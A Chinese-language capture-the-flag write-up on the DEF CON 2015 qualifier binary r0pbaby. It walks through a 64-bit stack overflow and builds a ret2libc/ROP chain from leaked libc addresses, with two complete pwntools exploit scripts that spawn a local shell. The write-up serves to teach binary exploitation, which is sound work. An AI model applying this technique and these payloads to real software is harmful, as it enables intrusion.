这次使用的程序是Defcon - 2015初赛题目,r0pbaby,也是一道经典的pwn题目了。
程序链接:https://pan.baidu.com/s/1kr6z_crZfW7qNjtASmRMGw 提取码:eajs
NX策略是指在栈中的代码不会被执行,ASLR是使共享库的装载位置随机化不可预测。
首先查看是64位还是32位文件:
然后查看安全策略:
可见开启了NX和PIE,PIE也就是ASLR。然后在IDA中查看伪代码,无需详细阅读,直接找溢出函数即可:
然后在linux中运行这个文件,查看究竟是怎么工作的,包括溢出方式等:
可以看出,功能1是获取libc的地址,功能2是获取一个libc函数的地址,功能3是输入一个字符串,然后会溢出。
在功能三中可以输入字符串并且可能(一定)溢出,那么我们就寻找溢出的点:
可以看出,20个字符已经造成了溢出,最后确定是在第9个字符位置溢出覆盖了返回地址,也就是我们需要在第9个字符位置构造覆盖的返回值。
由于文件开启了NX策略,无法直接在栈上写shellcode,又因为开启了ASLR,无法在静态调试中确定各个函数或者参数(system和"/bin/sh")的地址。但这个文件的前两个功能给了我们可以获取程序在执行中libc装载位置的功能。
所以,我们的具体利用思路是,找到system和/bin/sh的位置,然后利用栈溢出来获取shell,但这个文件是64位文件,参数存储的位置不是在栈中,x86_64下函数的第一个参数会放在rdi中,所以我们将参数写在栈中是没用的,要想办法将参数("/bin/sh")放在rdi寄存器中。而我们通过栈溢出只能直接操作栈中的数据,那么从栈中到寄存器最方便的指令就是pop rdi,又要考虑到调用system函数,最终我们需要找到形如这样的三个连续指令:
pop rdi
pop rax
call rax
现在可以去IDA中寻找了,但在r0pbaby文件中并没有找到system函数:
但我们发现在程序中打开了libc库:
system函数在libc之中,我们可以去用IDA调试libc来寻找我们要的东西,libc在linux的/lib/x86_64-linux-gnu/目录下,使用命令:ls -l /lib/x86_64-linux-gnu/libc.so.6可以查看当前版本的libc文件(环境不同会不同,建议导出自己的libc查看自己的地址,我这里的不适用全体),将其导出用IDA打开,然后查找system:
system的地址是0x44bf0。然后寻找/bin/sh:
"/bin/sh"的地址是0x181519,然后寻找上诉pop rdi的代码串,使用搜索-文本,搜寻pop rdi,根据结果一个一个的看,知道找出满足的为止:
可见,地址为0xf988b的一段代码满足要求,但顺序是先pop rax然后pop rdi需要注意。现在已经找到利用所需的全部代码了,唯一需要解决的就是libc的动态装载地址,但程序运行时第一个功能提供给我们了。接下来我们进行exp的编写,整个栈溢出结构如下:
编写代码如下:
#!/usr/bin/python
from pwn import *
def getLibcAddr(elf):
elf.sendline('1')
ret = elf.recv().split(' ')[-18].split('\n')[0]#获取libc的执行时地址
ret = long(ret, 16)#转换为long型
return ret
def pwn(elf,rtnAddr,binshAddr,sysAddr):
elf.sendline('3')
elf.recv()
elf.sendline('32')
payload = 'A' * 8 + p64(rtnAddr) + p64(sysAddr) + p64(binshAddr) #按照上图构造
elf.sendline(payload)
elf.recv()
print 1
return
if __name__ == '__main__':
elf = process('./r0pbaby')
libcAddr = getLibcAddr(elf)
rtnAddr = 0xF988B+libcAddr #相对地址为执行时的libc地址加上偏移量
binshAddr = 0x181519+libcAddr #相对地址为执行时的libc地址加上偏移量
sysAddr = 0x44bf0+libcAddr #相对地址为执行时的libc地址加上偏移量
pwn(elf,rtnAddr,binshAddr,sysAddr)
elf.interactive() #获取一个shell
elf.close()
写完代码后发现无法pwn成功:
其实只要仔细观察就会发现这之中有问题:
libc的地址是0x00007FEEAE6E9500,system的地址是0x00007FEEAE567BF0,之前看见system在libc之中的偏移地址是0x44bf0,0x7FEEAE6E9500+0x44bf0=0x7FEEAE72E0F0而不是0x7FEEAE567BF0,说明程序中给的libc和system的地址有一个有误,但并不确定是哪个,所以我们再根据system重新计算的代码写好:
#!/usr/bin/python
from pwn import *
def getSysAddr(elf):
elf.sendline('2')
elf.recv()
elf.sendline('system')
ret = elf.recv().split(' ')[-18].split('\n')[0]
ret = long(ret, 16)
return ret
def pwn(elf,rtnAddr,binshAddr,sysAddr):
elf.sendline('3')
elf.recv()
elf.sendline('32')
payload = 'A' * 8 + p64(rtnAddr) + p64(sysAddr) + p64(binshAddr)
elf.sendline(payload)
elf.recv()
print 1
return
if __name__ == '__main__':
elf = process('./r0pbaby')
sysAddr = getSysAddr(elf)
sysLibcAddr = 0x44bf0
offset=sysAddr-sysLibcAddr #偏移地址
rtnAddr=0xF988B+offset
binshAddr=0x181519+offset
pwn(elf,rtnAddr,binshAddr,sysAddr)
elf.interactive()
elf.close()
其中关于地址的计算可以看下图:
执行发现成功pwn: